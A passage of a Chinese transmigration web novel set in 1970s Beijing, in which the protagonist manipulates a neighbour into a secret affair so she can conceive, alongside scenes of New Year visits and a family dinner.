‘我虽然和《历史转折》、《正阳门》、《小女人》、《九道弯》这几部作品里的人物都有接触，但是并没有对他们的人生产生什么巨大的影响，或者说也产生影响了，但是只是非常细微改变，还不足以让祂们关注到这些改变。’ ‘那剩下的就是家人和《四合院》那边产生的改变了！’ ‘假设我没穿过来，那我姐还得疯着，太奶奶也会像原来那样孤独终老！’ ‘但是我姐现在没疯，生活顺心、工作顺利，太奶奶心中也有了我们姐弟俩这个牵挂，而我们长大之后也奉养太奶奶，不至于让太奶奶晚景凄凉。’ ‘可毕竟我姐还年轻，很可能由于什么意外又让她走回原来的轨迹，而太奶奶这边则需要时间的流逝才能验证出具体的改变。’ ‘总之就是家人这边虽然由于我的存在进行了一些改变两人的命运，但是命运改变的还不是那么大，而且还有被纠正回去的风险！’ 白建军排除了多种可能之后，最后把目光都聚集在了《四合院》这边。 ‘贾家几口人和易中海、何雨柱和冉秋叶的命运都因为我的暗中操作而有了巨大的改变，有的是变好了，有的是变坏了。但那到底是哪个改变才能引起祂们的关注呢？’ ‘大概率是何雨柱和冉秋叶吧！’ ‘何雨柱现在的生活和原来比可要幸福的多的多的多了。不仅兄妹关系缓和了，和他师兄也重新恢复了联系，而且娶了个比他小那么多的漂亮媳妇，马上还会生下他认为的第一个孩子。这对于大多数人来说，都能算的上是幸福的生活了。’ ‘至于冉秋叶，她本来就对何雨柱有意思，前世因为秦淮茹的破坏才放弃，最后虽然也结婚了，但是年龄大了，也只是随便找个人在一起。前后比较起来，还真不一定有现在幸福。何雨柱虽然有时浑了点，但是真疼媳妇！’ ‘也不排除贾家和易家的可能！’ ‘人的道德标准都不同呢，更不要说更高层次们的存在，祂们都有着自己的价值观，我不能拿我自己的道德标准去度量祂们的！’ 白建军摇了摇头，想将自己脑海中突然冒出的一个想法甩出去，可是这个想法仍然根深蒂固的盘踞在白建军的脑海中。 ‘要不要再试验一下呢？’ ‘试验的对象选择谁呢？’ ‘许大茂？秦京茹？’ ‘怎么做呢？’ ‘告诉秦京茹许大茂要不了孩子，看着他们俩闹？还是告诉许大茂秦京茹假怀孕的事？’ ‘结果无非就是两个人离婚，回头各过各的！没什么太大的意义！’ ‘秦京茹未必能离开许大茂，许大茂也未必会和秦京茹离婚。’ ‘这么多年许大茂一直没有怀疑自己要不了孩子这件事就不正常！’ ‘除非秦淮茹骗过许大茂说小槐花是许大茂的孩子！甚至有可能秦淮茹还拿这话骗过易中海，只不过孩子要换成是小当！’ ‘要不要试试呢，看看两个人都是什么反应呢？’ 白建军越不去想，可是想的越多。白建军觉得自己可能有些不正常，赶紧停下胡思乱想，去外面打了几趟拳。几趟拳打下来，白建军才平复了自己的心情，等回到自己的屋子之后，白建军开始继续思考红色文字本身。 ‘第二句文字中有两个关键词：打赏和本世界结束。’ ‘这么看的话，以后还会有其他的世界等着我。不过这也正常，毕竟我当初可是要给张桂芬幸福，这个世界可是没有张桂芬。’ ‘如果把去大周世界做为主线任务，那么现在的世界只能算是支线而已吧！’ ‘至于打赏，现在考虑这个一点用都没有。’ ‘若是一直能保持我自身的这个灵魂，那么我在支线世界学到的东西，同样能带到其他世界。虽然每到一个世界，可能会有一个重新修炼的过程，但是相较于其他世界的人来说，我这已经算是开了外挂了！’ ‘不过就算有外挂，还是不一定能比的过那些原生世界的牛人。’ ‘大周世界，那是遍地神人，连三苏、曾巩这样的存在，嘉佑二年都没进入前三甲。就自己这个文学水平，能不能比得了宰相根苗都是个事！’ ‘唉！最后还是落到了学习上！不好好学习，哪怕是个穿越者，也是穿越者里的LOSER！’ 白建军想到大周世界，心里就有些憋闷。 要想在封建的大周接触上顶级勋贵家的嫡女，走商业这条路是不用想了，哪怕有再多的钱，也不过是依附于他人的卒子，随时都有可能被舍弃；只有走科举—宰甫之路或是走从军—武勋之路，才有可能接触到张桂芬，但是这两条路哪条都不容易。 “想那么多干什么！”白建军自嘲的笑了笑说道。“过不好现在，哪还有以后啊！” 将自己刚刚产生的失落掐灭，白建军的脑海中再次闪现了刚刚的那个想法。 ‘看来还是要再试验一下！’ ‘也不是我就可着四合院霍霍，毕竟其他剧情还没开始呢，现在也只能拿他们试探一番了！’ 白建军胡思乱想了一通，最后还是决定找机会在许大茂、秦京茹两口子身上再谋划一下，看看能不能通过改变他们两口子，再次引出来那些神秘的红字。 不过哪怕白建军有了决定，可是一到了四合院那边，白建军还是有些犹豫不决。善与恶，一直都在白建军的思维在做着强烈的斗争。 “呦！小伙子又来啦！” “许大哥你好，我来跟柱子哥确认一下时间，年后好来拜年，省的到时候走两岔儿了！” 许大茂看见又来到四合院的白建军，笑着和白建军打着招呼。白建军也客气的和许大茂打了声招呼。许大茂也就是跟白建军客气客气，说完话就往自己家里走。 “你这又干什么去了？”秦京茹听到许大茂进屋的动静气冲冲的出来问道。“还有，你怎么根那小子打上招呼啦！” 看着走到门口看了好几眼的秦京茹，许大茂小声的对着秦京茹说道。 “你看那小子跟谁都客客气气的，实际上小子心眼小着呢，当初你姐和易中海就是在食堂得罪了他，就成了现在的下场！” “我又没有什么把柄，我怕什么！”秦京茹厌烦的看着身边的许大茂说道。“你还是赶紧熬你的药去吧！” “这现在我打个嗝都一股子中药汤子味儿！”许大茂也来了脾气。“不喝啦！” 说完许大茂直接推开秦京茹摔门而去。 白建军看着刚进门又转身出来的许大茂的背影，又看了看后院暴跳如雷的秦京茹，脸上不由露出了一个邪魅的笑容。有句老话说得好：苍蝇不叮无缝蛋。 “这机会不就来了么！” 第51章 恶魔的低语 白建军一进了何雨柱家正屋，就看着何雨柱在给冉秋叶捶腿，见到白建军进来，冉秋叶不好意思的想收回腿，可是何雨柱却一点都不觉得不好意思。 “建军也不是外人，怕什么！”何雨柱看着冉秋叶说完，又看着白建军说了一句。“建军，我说的对吧！” “对，不是外人！”何雨柱脸大，但是白建军可有些不好意思，所以白建军赶紧问道。“柱子哥，你们这过年怎么打算的？初几回来啊？” “今年过年我准备把我老丈人接过来一起过！”听到白建军的问话，何雨柱这才松开了冉秋叶的腿。“本来两边人口就少，分开也没什么意思！过年么，不就是过个热闹么！再说，你秋叶姐这还怀着孕呢，初二回门子到时候还得折腾一下！索性就不论这个老理儿了。” “初二雨水姐得回来，我就不过来了！”白建军想了想看着何雨柱说道。“我初三再过来！” “成，到时候你过来，我们准在家！” 何雨柱也想了想，初三没什么事，就点头答应了。 “你们继续，我回了！” 正事聊完，白建军也起身告辞了。 “建军，你吃了饭再走吧！” 冉秋叶开口挽留道。 “秋叶姐，我就不吃了，还要去其他几家确认一下拜年的日子！” 白建军倒不是装假，而是马上过年了，你不提前和人家约好登门的日子，容易走两岔儿去。 何雨柱夫妻二人见白建军是真有事，也就不再挽留了。冉秋叶还要让何雨柱送一下白建军，也让白建军给留在屋里了。白建军这刚走出何家的大门，就听见后院门旁边许大茂家的大门开着，一包包已经包好的中药都被扔了出来。 “这是又闹上了？” 自从院里知道冉秋叶怀孕以后，别家都还好，就是许大茂家是一天一小吵，三天一大吵。何雨柱原本还得瑟过一次，可是冉秋叶说了何雨柱一次，不让他刺激许大茂，何雨柱也就只是自己偷着乐了。 “我去看一眼那些药材！”白建军跟何雨柱说了一句。“这都扔了就太浪费了！” 何雨柱听白建军这么一说，也没拦着，毕竟让一个大夫看着好药材被人扔出来，这就跟一个厨子看着有人把海参、鱼翅、熊掌、飞龙扔大街上一样。 一共也没多远，几步白建军就走到了许大茂家的门口，直接弯腰捡起了包好的药材。 “你干什么？” 秦京茹看着在那里捡药材的白建军，直接警惕的问道。 “这些药材扔了可惜了！” 白建军也没抬头，边捡药材边说道。 “有什么好可惜的，治不好病，放在家里看着还碍眼！” 秦京茹没好气的说道。 “药材是好药材，但若是药不对病，再好的药材也是无用！”白建军捡完了药材，直接伸手递给了秦京茹。“您还是拿回去吧，求个安慰！” 秦京茹刚过1米6，看着身高快1米8的白建军站在自己面前，还是有些打怵。白建军见秦京茹仍然站着没动，又把药材放在了地上，然后转身就走了。 秦京茹见白建军走了，这才敢把地上的药材捡起来。看着白建军的背影小声嘟囔着。 “什么叫求个安慰啊，会不会说话啊！” 秦京茹也有些舍不得这些药材，毕竟是花了不少钱买的，当秦京茹关上门，拎着药材准备放起来的时候，突然反应了过来。 “那个白建军刚刚说什么来着？药不对病？”秦京茹看着手中的药，又看向了门口。“听说他好像也是个大夫啊，难道他看出来什么了？” 秦京茹越想越觉得白建军是话里有话，赶紧把药材扔到一边，系上围脖直接推门就去追白建军去了。 白建军出了南锣鼓巷并没有直接骑上自行车，而是推着车子慢悠悠的往前走，等拐到北河沿大街的时候，白建军在路边一处小公园直接停了下来。没过一分钟，秦京茹就追了上来。 “这儿呢！”白建军看着还往前跑的秦京茹直接招呼了一句。 秦京茹听到招呼声下意识的看了一眼，一下就发现在白建军靠着自行车看着自己。 “瞅什么呢？”白建军招了招手。“您这都跟了我一路了，你可别说，您和我顺路啊！” 秦京茹见白建军这么说也就直接走了过来。 “你在院里说的话是什么意思？”秦京茹抬头看着白建军直接问道。“什么叫药不对病啊？你知道大茂得了什么病？” “您找我，就是为了问这个？” 白建军笑了笑，看着秦京茹问道。 “不然呢！”秦京茹手掐着腰看着白建军说道。“你今儿个一定要把话说明白！” “你们俩是不想过了么？”白建军笑着看着秦京茹问道。“我的话要是说出口，你和许大茂大概率会离婚，你还想听我说么？” “你少吓唬人！” 秦京茹脖子一梗。 “你们院里的事，虽说我听到的不少，但是真真假假的，我也大多搞不清楚。”白建军摇了摇头笑着看着秦京茹说道。“不过有两件事，我是能肯定的！” “第一，你当初能嫁给许大茂，是假怀孕！” 白建军伸出一根手指看着秦京茹说道。 “你……，你少胡说八道！” 秦京茹被白建军的话吓坏了。 “是不是觉得这件事就你和你堂姐知道？”白建军摇了摇手指头。“要想人不知除非己莫为！只要做了，就能查到。” “你想要干什么？”秦京茹虽然吓得够呛，但还是提防的看着白建军问道。“要钱？” “你看，我这刚说了第一，你就怕成这样，你还要让我往下说么？” 白建军看着瑟瑟发抖的秦京茹问道。 “大不了我回去给大茂端茶倒水，磕头认错！你威胁不到我！”秦京茹咬牙切齿的说道。“我倒要看你看还能说出什么来？” “这第二，不是关于你的，而是关于许大茂的！不过先说好，我也只是猜测！”白建军看着秦京茹笑着说道。“许大茂之前有个媳妇是娄晓娥，想必你是知道的，他们俩结婚好几年，娄晓娥肚子同样一点动静都没有。总不能许大茂娶谁，谁都不能生吧！所以我猜测问题是出在许大茂身上，而不是娄晓娥和你身上！” “你的意思是……” 秦京茹惊惧的看着白建军问道。 “许大茂之前可能伤了根本或者他有其他身体上的原因，导致他不育！当然这个还需要你和他去正规医院检查一下。”白建军收起了笑容看着秦京茹认真的说道。“你们家那些药材，顶多能在房事上有些用。但是解决不了你们的根本问题。” “我倒是想去医院检查啊，可是大茂他不让啊，还说我要是去医院检查，就跟我离婚！” 秦京茹一听白建军的建议，委屈的都快哭了出来了。 “这事怎么说呢，可能之前你堂姐和许大茂说过什么，或者是你之前那个假怀孕给了许大茂指望。”白建军想了想看着秦京茹真诚的说道。“如果去医院检查，那么许大茂的这个指望可能就会破灭了。甚至他自己都可能怀疑是自己的问题，但是他不敢面对！” “我该怎么办啊！” 秦京茹蹲在地上，直接就低声哭了出来。 这么多年，秦京茹一直拿自己怀过孕呲哒许大茂，说着说着她自己都信了那是真的。但是今天白建军的话，彻底撕破了秦京茹内心的隐秘。虽然白建军说可能是许大茂的问题，但秦京茹现在也害怕去医院，万一要是检查出来是她的毛病，那许大茂一定会把这些日子受的委屈全还到她身上，甚至许大茂能直接跟自己离婚。 秦京茹现在是一点都不敢赌。 “你也甭想着找你堂姐给你出主意！她无非是让你再假怀孕拖延时间，之后可能还要让你领养她们家的闺女，她最终的目的都是为了她们贾家着相。”白建军看着蹲在地上的秦京茹说道。“虽然你还年轻，但是你也耽误不起了！你要是继续跟着许大茂，等在过两年你还没有孩子，许大茂可能真的会休了你找别人，娄晓娥就是你的前车之鉴。” “你也可以选择现在就去医院做个检查，直接和许大茂摊牌。”白建军看着停下了哭声，抬头看着自己的秦京茹接着说道。“当然，这是你下决心主动要和许大茂离婚，你就可以这么做。不过离婚之后，你也不一定能找到什么好人家了，何雨柱这样的大龄青年，在社会上可是凤毛麟角的。” “我……我……”秦京茹站起来我了半天才看着白建军悲哀的问道。“我……该怎么……办啊？” “你要是想跟许大茂过下去，其实还有一个法子！” 白建军的话仿佛魔鬼的低语一样。 就像即将被溺死的人突然抓住了救命的绳子，秦京茹一步就走到了白建军身前，拉住白建军的胳膊抬头问道。 “什么法子，你快说啊！” “借！种！” 第52章 过年 秦京茹独自一个人坐在小公园的椅子上，哪怕凌冽的寒风打在秦京茹的身体上，都没让秦京茹动弹分毫。秦京茹现在已经陷入了巨大的恐慌之中。 秦京茹怕，怕许大茂和自己离婚。白建军的话一点都没有说错，如果再过两年秦京茹还没有怀孕的动静，许大茂是真能做出来和秦京茹离婚的举动。而且以许大茂的为人，到时候可能做的更绝。 秦京茹煤球厂的工作是许大茂帮着联系的，但是到现在秦京茹还是个临时工，如果秦京茹和许大茂离婚，许大茂一定会找人让秦京茹丢了工作。秦京茹一点都不怀疑许大茂的为人，他是一定会这么干的。 到了那个时候，离了婚又丢了工作的秦京茹，最大的可能就是滚回农村。可是秦京茹就是因为不想在农村呆着，就是当个城里人，当初才来到京城和比大了快一轮的何雨柱相亲的。 秦京茹不想在回去过饥一顿更饥一顿的日子，更舍不得现在隔三差五就能吃一顿肉，舍不得能天天穿好看的衣服，舍不得没有雪花膏的日子。 当然秦京茹更没脸回去面对自己的爹妈。虽然现在秦淮茹过得也不怎么样，但是最少她还有易家帮衬着，小当现在就养在了易中海两口子的家里。而且因为秦淮茹的几个孩子，她还有个城市户口，她还能在京城待下去，可是秦京茹现在要是跟许大茂离了婚，那她就什么都没有啦。 现在离婚对于秦京茹来说就跟直接死亡没有太大的区别，但是继续和许大茂过下去，没有孩子也是慢性死亡。所以孩子，是秦京茹绕不过去的一道坎。 “如果许大茂真的不育，那我和他就不可能有孩子！”绕来绕去，秦京茹发现，怎么着都是一个死结。“难道真的向那个白建军说的那样，借种么？” ----------------- 临近过年，白建军再次忙碌了起来，每天晚上都要去库房那边坐镇。越是到年节，鬼市的生意约好，大家都不想让外人觉得自家的日子过得寒酸。一直忙到腊月二十九，三十早上，白建军买了一大堆的肉食和鞭炮回到白家的时候，白建华和李香秀才算放下了悬着的心。 “太奶奶，朱厚他们初六来咱家看您！” 白建军放下了买来的一大堆东西，看着李香秀说道。 “他们农村那边的亲戚多，需要走动的也多。”李香秀笑了笑说道。“消停过了十五再回来，啥时候不能看啊！” “他们今儿个买了年货就搭车回去了！”白建军估计了一下时间。“这个点都上车了！” 没聊几句，李香秀和白建华都知道白建军忙了一宿，就让白建军先回去休息了。白建军坚持贴完春联之后，简单的洗漱了一下，才回去睡了一会儿。下午起来以后白建军就开始处理买回来的食材，准备晚上亲自掌勺。晚上白家三口人会去隔壁四合院和大家一起过春节，这也是这些年来几家的传统了。 过年最开心的要数小孩子了，而两个院里最小的就是夏家的小妹了。白建军这边在处理食材，夏小妹就偷偷跑到白家这边来。 “建军哥，小鞭儿呢？小鞭儿呢？” “小妹，先过来！” 白建军听到声音，直接站在厨房门口看着跑进来的夏小妹招手，然后白建军就回到了厨房。刚拨出来一颗刚炸好的肉丸子，夏小妹就走到了厨房门口。 “小妹，给你先尝尝！” 白建军笑着指了指小肉丸说道。 夏小妹拿起了肉丸子放在嘴里咬了一口，脸上立刻露出了惊喜的笑容。 “肉丸子？” “慢点吃！小鞭儿在我姐那屋呢，你去吧，不过小心点啊！” 白建军看着几口就把肉丸子塞到嘴里的夏小妹，笑着叮嘱道。 “建军哥，小妹是不是跑你们家来了！” 夏小妹还在舔着手指头，夏建红的声音就从外面传了过来。 “建红，小妹在这呢！” 白建军冲着外面喊了一句。 “一转眼你就没影了，就知道你跑这儿来了！” 走过来的夏建红，轻轻拉了一下夏小妹的耳朵。 “正好你来了，小妹要放小鞭儿，你看着点！”白建军看着夏建红说道。“我这边还有活没弄完呢！” “我来帮你吧！”夏建红看着厨房直接看着白建军说道。 “你还是陪着小妹吧！你没看，我都没让我姐和我太奶奶动手么！”白建军笑着拒绝道。“我这也快完事了，你们先去玩儿吧！” “那好吧！” 夏建红拉着夏小妹说道。 “放小鞭儿啦！放小鞭儿啦！” 夏小妹挣开夏建红的手，直接往白建华那屋跑去。不大会儿，夏小妹就带着摘好的小鞭儿，兴奋的跑了出去。 拿着一大串小鞭的夏小妹即将成为这条胡同内最靓的崽儿。 …… 年夜饭，可以说是这个时代最重要的一顿饭了。一道7点，白建军、夏建红、任燕就直奔厨房。白建军开炒，夏建红她们俩则负责把菜送到隔壁。 不到八点，摆在夏家的大桌上，就摆满了各种菜肴。最后一道红烧鱼做好之后，白建军也端着菜去了隔壁。等白建军到了夏家的时候，明显感觉气氛有些低沉。 “红烧鲤鱼！”白建军一进屋就报上了菜名。“祝大家年年有余！” “对，年年有余！”夏默看着大家说完，有看着高兰说道。“今天是三十，大家都要开开心心的。你也不用太担心建国和田源，他们俩都大了，能照顾好自己的。” “老夏说的对，他们俩都是大人了！”田志远看着高兰安慰说道。“我们要相信他们！” 在众人的安慰下，高兰的情绪终于缓了过来。 “往年都是大家一起过年，这今年建国和田源都下乡了，我是有些不习惯！”高兰举起酒盅对着大家说道。“我自罚一杯！” 说完话，高兰拿起酒盅就一口喝了下去。 “咳！咳！”高兰咳嗽了一下看着白建军问道。“建军，这酒你在哪找的，度数不低啊！” “高阿姨，这是从徐静理她们家打的酒。”白建军笑着说道。“这可是纯粮食酿的，一点假都不掺的！” “确实不错！” 高兰点头确认道。 “来吧，让我们共同举杯！共同迎接新一年的到来！” 夏默举起了手里的酒盅对着大家说道。 “干杯！”×N 第53章 回旋镖 正月初一拜新年，哪怕除夕守岁熬了整整一夜，但是初一一大早上，人们也都纷纷早起，去给亲戚长辈拜年。路上遇到行人，都互相报以真诚的祝福。 “给您拜年啦！过年好！” 白建军和白建华一大早也给李香秀磕头拜年，虽然外面不兴这个了，但是在自己家里，全凭个人意愿。给李香秀拜完年，白建军姐弟又去了隔壁院给田家、任家、夏家几家去拜年。没多大功夫，几家的人又去了白家给李香秀拜年。 之后白建军和白建华又去了孙建芸、孙姝蓉家里给几位长辈拜年，还去了教姐弟俩医术的几位老师傅的家里拜年。每家停留一会儿，一圈下来最后白建军从徐静理他们家出来的时候已经快到了中午了。 自从白建军救过徐静理之后，徐慧真和蔡全无就拿白建军当自己家孩子看待，白建军也每年初一都去徐家拜年。 从徐家出来，白建军姐弟俩的拜年之旅差不多也都结束了，初二是回门的日子，两人可以好好休息一天，初三开始，姐弟二人又各自去看看各自的师长，或是去关系不错的朋友家走动走动。 初三一大早，白建军就来到了南锣鼓巷的四合院。 “冉大爷、柱子哥、秋叶姐，给您拜年啦！” 一进何雨柱家的大门，白建军就热情的和屋里的几人打招呼。 “建军来了，你快坐！快坐！别客气！”冉秋叶看着白建军热情的招呼道。 “家里都挺好的啊！” 冉父看着白建军客气的说道。 “托您福，都挺好的！” 白建军客气的回道。 和几人闲聊了一会儿，白建军见冉秋叶已经有些疲惫的样子，白建军就起身告辞，冉秋叶和何雨柱还想留白建军吃饭，白建军也婉拒了。等白建军走出南锣鼓巷的时候，秦京茹再一次跟上了白建军。 “我说大姐，您这又跟着我干什么啊？” 同样的小公园，同样的位置，白建军看着脑袋裹着围巾的秦京茹无奈的问道。 “白建军！” 秦京茹张嘴叫了一句之后，就开始哭了。不同于秦淮茹那种博同情式的表演，秦京茹真是悲从心中来。 “大姐，你有事就说事，你这哭是什么意思啊！” 白建军看了看四下见没有人，这才看着秦京茹劝道。 秦京茹直接解开了头上的围巾，白建军一下子就看到了秦京茹脸上还没消退的淤青。秦京茹打开了一会儿，又很快把围巾又重新裹好。 “你也看到啦！”秦京茹哽咽的看着白建军说道。“年前我和许大茂又提了一次去医院做检查的事，他直接就翻脸了。” “我是看到了，只是我不明白你来找我干什么？”白建军疑惑的看着秦京茹问道。“你们两口子之间的事，我也帮不了你什么啊！” “我想好了，我现在还不能和许大茂离婚！”秦京茹眼里带着恨意的看着白建军说道。“我想用你说的那个办法！” “我只是给你提供了解决你现有困境的方案！”白建军看着秦京茹直接说道。“怎么走，都是你自己的选择！” 白建军说完直接推着车子就往外走，可是秦京茹一把就抓住了自行车的后座。 “主意是你出的，你得帮我！” “大姐，你还让我怎么帮你啊？”白建军无奈的看着秦京茹说道。“你都已经做了决定要那么干，那你就干去就完了啊！” 说话之间，白建军和秦京茹已经走到了北沿河街，白建军一个后片腿骑上了自行车。秦京茹见白建军要蹬车子走，鬼使神差的快跑了几步，一下子就侧坐在了后座上。 “我说大姐，你怎么还坐上来了，你到底要干什么啊！” 白建军调整了一下车把，头也不回的问道。 “我就想让你帮我选个人，我自己害怕！” 秦京茹右手直接从后面搂住了白建军的腰，脑袋靠在白建军的后背上喃喃的说道。 虽然隔着厚厚的棉衣，可是当秦京茹抱住白建军的那一刹那，一股从来没有过的体会瞬间传遍了白建军的全身。白建军上身紧绷，扭了扭腰也没有让秦京茹的手拿开。 “大姐，你放过我吧！”白建军小声哀求道。“我哪能帮你选人啊，你得在你自己身边物色啊！” 秦京茹靠在白建军的后背上，这让秦京茹多了一丝的安全感。哪怕就是这一丝安全感，都是秦京茹从没有在许大茂身上感受过的，这不禁让秦京茹将两只手都抱住了白建军。 白建军身子越发的紧绷了，而秦京茹则在白建军的身后开始念叨了起来。 “这几天我一直在想这个事！人选一直没找到。” “这事一定要做的隐秘，要是让大茂发现，那他真的会打死我的！” “邻居、工友，瞒还瞒不过来呢，而且我也怕对方以后对我纠缠不清！” “这个事，说起来容易，但是真的要做起来，却有着各种各样的困难！” 白建军现在满脸紧张和无奈。 “大姐，你回去慢慢想吧，总能想到办法的，你坐我车子上算怎么回事啊！” “你是知情人，我也只能说给你听了！” 秦京茹再次紧了紧胳膊，让自己的身子都靠在了白建军的后背上。 这一路上，两个人的举动并没有引起什么人的注意，毕竟人裹得严严实实的，也认不出来谁是谁。反而两个人靠在一起，让外人觉得这是一对幸福的小两口，有男生更是吹起了口哨起哄。 秦京茹从来没有感觉到此刻的这种幸福、安稳，这让秦京茹都有些不愿意放手了。但是路边的口哨声、起哄声还是让秦京茹回过了神。几次和白建军接触下来，秦京茹都是处于被动的地位，现在秦京茹也感觉到了白建军浑身都紧绷着，这不免让秦京茹升起了逗逗白建军的想法。 秦京茹的右手仍然抱住了白建军，可是左手已经不老实的往下溜。 “大姐，你老实点啊！” 白建军越拒绝，秦京茹越过分。 本就浑身紧绷的白建军突然之间如遭雷击，脑子一片空白。秦京茹刚开始只是想要逗弄一下白建军，但是等秦京茹摸到了白建军的武器的时候，脑子也一下子宕机了。 白建军都不知道怎么会把自行车骑到了鬼市的库房这院，也不知道怎么开的院门，怎么进的屋。 秦京茹也稀里糊涂的不知道怎么就被白建军驮到了一个小院，怎么就鬼使神差的和白建军进了屋。 两个人都不知道之后发生的一切是怎么开始的，但是等两个人都回过神来的时候，该发生的事情也都发生了。 “我这算是自己挖的坑，把自己埋进去了么？” 第54章 挣扎着活着 白建军往正阳门这边的家里走的这一路上都在想自己和秦京茹之间发生的这个糊涂事儿。 白建军两世为人，一直是以成年人的眼光来看待周围的人。秦京茹虽然今年虚岁都27了，在这个世界已经算是妇女了，但是在白建军的上一世，秦京茹这个年龄的女人，大多还是小仙女一枚呢，所以白建军一直都是用同龄人的心态在和秦京茹接触。 今天秦京茹的种种举动，是两世为人的白建军所未曾经历过的。白建军上一世遇到的的多是坐在汽车里哭的女孩，从来没遇到过那种坐在自行车里笑的女孩。秦京茹坐在自行车后面抱着白建军的时候，那种浑身触电的感觉，白建军两辈子也是第一次感受到。秦京茹之后的胡闹了，也让多年练武血气方刚的白建军，自然而然的产生了身体上的反应。 白建军现在仍然清楚地记得，完事之后，秦京茹一脸的平静，之后什么都没有和白建军说，直接就起身往外走。不过白建军能从秦京茹看自己的眼神中，看出来委屈、悔恨以及期盼。 等走到门口的时候，秦京茹才背对着白建军颤声的说道。 “初七我就要上班了，但是初九休息，我上午在家等着。”可能是怕白建军误会，秦京茹接着解释了一句。“你别多想，我只是怕一次怀不上！” 说完话的秦京茹，头也不回的蹒跚着离开了。 白建军清楚两个人之间发生的一切不是因为爱情，两个人之间有的也只是干柴烈火，是欲望的碰撞，是利益的维护。 回到家中的白建军就让自己不再想他和秦京茹之间的事，把精力都放在了走亲访友上。但是到了初九这天早上，白建军还是和白建华以及李香秀说了自己去何雨柱家看看。 李香秀和白建华也没在意白建军去南锣鼓巷那边，虽说白建军没有正式拜何雨柱为师，但是实际上也从何雨柱这边学了不少本事，虽没有师徒之名，但是有师徒之实。 而且白建军也算是何雨柱和冉秋叶的媒人了，白建军关心那边也是很正常的事。这个年代的媒人可和过去的不一样，那真是要对小两口的生活负责的，夫妻俩要是有了矛盾，最先出面调解的一般都是媒人。 四合院这边对于白建军过来也都习以为常了，毕竟以前白建军每个礼拜都会过来，也知道白建军跟着何雨柱学厨艺，所以遇到了也都是客气的打声招呼。 自从贾家和易家搬走了之后，院里的事都少了很多，至于“大爷制度”早在街道的人过来了解清楚之后就停了，现在都叫‘联络员’了，而且有事也是可以直接去找街道那边。 “建军来了！” 闫阜贵看着白建军笑着招呼道。 “闫老师，我这过来看看柱子哥这边还缺什么。”白建军看着闫阜贵笑着说道。“柱子哥要照顾秋叶姐，缺什么少什么，我也好跑个腿儿什么的！” “你这孩子有心啦！” 闫阜贵笑着夸奖白建军说道。 “那闫老师您忙着，我先过去啦！” 白建军客气的对着闫阜贵说道。 两人闲聊了几句，白建军就往何雨柱家里走，等到了何家，冉秋叶看起来一切都挺好的，白建军待了一会儿，也问了何雨柱还有什么需要搭把手的。 “建军，下周你要是不忙，你就早点过来！”何雨柱看着白建军说道。“你秋叶姐要去医院做产检，你过来搭把手。等到了医院那边，有你雨水姐陪着她。” “放心，我一定早早的过来！” 白建军连忙点头答应道。 又陪着冉秋叶说了一会儿话，白建军也就起身告辞了。 “建军，这就回啦，不留下吃口饭再走啦！” 路过前院的时候，正好遇到骑车子回来的闫阜贵。 “柱子哥的心都在秋叶姐身上呢，我可不在屋里看他们腻味了！” 白建军玩笑的说了一句。 “别说，这柱子还真疼媳妇！” 闫阜贵也点头说道。 两人正说着话呢，穿着蓝布花棉袄，围着白围脖的秦京茹就从院里走了出来，闫阜贵一看到秦京茹马上停下了和白建军的话头，笑着打了声招呼。 “出去啊！” “上街溜达溜达！” 秦京茹随口回道，然后也不看白建军，直接就走出了四合院。 “闫老师，我也走啦！”白建军等秦京茹出了院门，也和闫阜贵打了声招呼。“下周日我再过来。” “回见了！” 闫阜贵招呼了一声，就推着自行车进了院子。 白建军推着车子往南锣鼓巷外面走，前面就是秦京茹，两个人一前一后，秦京茹也没有等白建军，白建军也没有追上去。就这么走到了北河沿大街又往前南了一段路，等到了五四大街之后，秦京茹直接往东拐了，白建军这才骑上自行车蹬了过去。等白建军到秦京茹身边的时候，白建军放慢了车速，秦京茹也没说话，直接跟着快走几步就坐上了自行车后座。 两个人一路上谁也没和谁说话，秦京茹也只是一只手拽着白建军的衣服，省的从车上掉下去。等到了上次的院子，白建军打开门，秦京茹直接就走了进去。白建军推着车子进了院，又重新把院门插上了。 进了屋子之后，秦京茹坐在床上，面上虽然平静，但是搓来搓去的手也暴露了她的紧张。 “这屋子一直没住人，我先把炉子点着吧！” 站在门口的白建军也很尴尬，但是也不能一直这么尴尬下去，只能先找些事。 秦京茹没有回话，但是白建军也转头开始干活。秦京茹就这么默默的坐在床上，看着进进出出的白建军把炉子点着。忙活完的白建军回到了屋子中，一时之间也不知道说什么了。 两个人就这么尴尬的看着眼前的火炉子。 等了能有一会儿，可能是屋子里温度的提升，秦京茹也感到有些闷，就解开了自己的围脖，放到了一边。秦京茹看了看白建军，也没有多说什么，脱了鞋，掀开了棉被穿着衣服就直接钻到了被窝里。 秦京茹闭上眼睛等了一会儿，见没有动静，这才睁开眼睛看向了白建军。 “你过来吧！” 白建军解开围脖，同样脱了鞋穿着衣服钻到了秦京茹打开的棉被。两个人躺在床上，又双双陷入了沉默。 “我实在没办法了，今年过年许大茂她妈又埋汰我，说我是不会下蛋的鸡！我一定要有个孩子才能在许家立足！”秦京茹看着棚顶喃喃的说道，说完就侧身抱住了躺在她身边的白建军，脑袋靠在白建军的胸口上。“我知道我这么做是不对的，但是为了在许家活下去，为了能留在城里，为了不再回农村过苦日子，我都豁出去了！” 听到秦京茹的话，白建军抽出了右胳膊将她抱紧了一些。 屋子里除了火炉里不时传来的噼啪声，突然多了一些衣服掉落在地发出的响动。之后不可描述的声音在屋子中回响。 …… 昏暗的屋子中，只有火炉中散发着微弱的红光，依稀能看清楚彼此的面容。破旧的床上，两个人紧紧的依偎在一起。 “你例假什么时候走的？” “年前吧！你问这个干什么？” “算一下日子！” “你还懂这个？” “他们给我起外号大夫，不是瞎叫的。我先去添些煤，等回来再和你说！” 在晰晰索索的穿衣声之后，一个身影从床上下来，快步的走到外屋地，撮了一铲子煤之后，返回屋中添进了火炉里。之后身影又再次钻进了被窝。 “今天这几天，可能是你最容易受孕的日子了！” “这事还分日子？” “咱们抓紧时间吧！” “你行不行啊！” “男人是不能说不行的！” “那我倒要见识一下你是怎么行的了！” ………… 还是同样的屋子、同样的破床上，外面的天色已经暗了下来。再一次的云收雨歇之后的两人，都开始寻找着彼此的衣服。 “若是真能怀上就好了！” “能做的，你都做了，要是这次还怀不上的话，你还是去医院检查一下吧！” “若是能怀上，我们就断了吧！我不能再做对不起大茂的事了！” “若是真像你说的那样，说断就能断了，那我就真不是人了！不过你放心，我的意思是不会缠着你！” “是啊，你比我小9岁，你还是个半大小子！” “之前叫人家哥哥，现在叫人家半大小子啦！” “我没和你闹！我们这关系注定见不得光！” 